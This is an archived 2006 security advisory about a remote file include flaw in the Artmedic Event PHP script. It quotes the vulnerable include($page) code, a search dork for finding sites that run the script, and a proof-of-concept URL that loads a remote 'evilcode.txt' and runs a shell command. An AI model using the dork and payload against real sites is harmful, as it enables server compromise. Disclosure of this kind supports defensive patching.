AOH :: HP Unsorted A :: B06-1920.HTM

Artmedic event remote file include vulnerability



Artmedic Event Remote File Include Vulnerability
Artmedic Event Remote File Include Vulnerability




Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/artmedic-event-remote-file-include.html
#Artmedic Event Remote File Include Vulnerability
#Website : http://www.artmedic.de/
#Script : Artmedic Event Script
#Risk : High
#Class : Remote
#Greetz : B3g0k,Nistiman,Flot,Netqurd etc..
#d0rk : "/event/index.php?page=" "Artmedic Web Desing"

Description [Deutch] "artmedic event, author Ellen Baitinger, artmedic webdesign, http://www.artmedic.de Dieses Programm ist Freeware und darf kostenlos eingesetzt werden, solange der Link auf artmedic webdesign und die Hinweise der Autorenschaft unangetastet bleiben."

I.

if(!file_exists("artmedic_event_inc.php"))
{include("setup.php");
exit;
}
require("artmedic_event_inc.php");
echo "$eventtitle";
$start = filectime($news);
$jetzt = time();
$update = "$start"+"$timespan";
if($jetzt >= $update)
{include("artmedic_event_html.php");}

-----------------------------------------------------------------------------

II.

if(!$id and !$page)
{@include("artmedic_event1.htm");}
if(!$id and $page)
{@include("$page");}
if($id==1)
{include("artmedic_event_inputform.htm");}
if($id==2)
{include("artmedic_event_add.php");}
?
-------------------------------------------------------------------------------


III.

Proof of Concept:

http://www.site.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.